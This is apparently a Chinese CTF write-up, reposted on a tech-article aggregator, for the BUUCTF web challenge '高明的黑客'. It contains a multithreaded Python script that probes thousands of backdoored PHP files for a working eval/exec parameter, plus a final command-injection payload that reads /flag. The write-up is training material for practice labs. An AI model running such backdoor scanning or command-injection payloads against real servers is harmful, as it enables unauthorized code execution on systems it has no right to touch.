IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BUUCTF WEB 高明的黑客1 -> 正文阅读

[PHP知识库]BUUCTF WEB 高明的黑客1

这题也没啥好说的,就是硬跑脚本
打开场景,就是让你下www.tar.gz
解压好了,两千多个PHP,execuse me???????
打开看看,每个PHP文件里面都有eval,exec之类的,但也不是全部有用,事实上,跑完就只有一个参数有用
就是通过脚本,不断地去试,也没啥好说的,两种做法:
1.把文件全都下到本地,自己开个环境,把最大连接数调大些,自己跑,找到参数,再去利用
2.直接用靶场跑,我测试了一下,BUUCTF能承受的最大的连接数在20左右,我把网上大佬在本地跑的脚本改了一下,加了几个sleep()
防止url连接没释放掉触发429,运行速度在五分钟左右,比大佬在本地跑的4分中也慢不了多少

import os
import requests
import re
import threading
import time

print('开始时间:  ' + time.asctime(time.localtime(time.time())))  # 只是一个简单的时间函数,看起来更漂亮罢了
s1 = threading.Semaphore(15)  # 这儿设置最大的线程数
filePath = r"D:\wamp\www\src"
os.chdir(filePath)  # 改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5  # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)  # 得到该目录下所有文件的名称
session = requests.Session()  # 得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False  # 设置连接活跃状态为False


def get_content(file):
    s1.acquire()  # 好像与锁什么的相关,但是还是不太懂,多线程开启
    print('trying   ' + file + '     ' + time.asctime(time.localtime(time.time())))  # 更好看,同时可以对比不加线程和加线程的时间对比
    with open(file, encoding='utf-8') as f:  # 打开php文件,提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}  # 所有的$_POST
    params = {}  # 所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://4e199aac-a3a6-4fc4-bf08-7d9b7fbef682.node4.buuoj.cn:81/' + file
    req = session.post(url, data=data, params=params)  # 一次性请求所有的GET和POST
    req.close()  # 关闭请求  释放内存
    time.sleep(2)
    req.encoding = 'utf-8'
    content = req.text
    print(content)
    if "xxxxxx" in content:  # 如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
            content = req.text
            req.close()  # 关闭请求  释放内存
            time.sleep(2)
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b: "echo 'xxxxxx';"})
                content = req.text
                req.close()  # 关闭请求  释放内存
                time.sleep(2)
                if "xxxxxx" in content:
                    break
        if flag == 1:  # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: ' + file + "  and 找到了利用的参数:%s" % param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()  # 对应于之前的多线程打开


for i in files:  # 加入多线程
    t = threading.Thread(target=get_content, args=(i,))
    t.start()

最终payload:xk0SzyKwfzw.php?Efa5BVG=cat /flag
参考视频连接:https://www.bilibili.com/video/BV1zg411w784?spm_id_from=333.999.0.0

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-12-14 15:43:57  更:2021-12-14 15:44:07 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 20:34:54-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计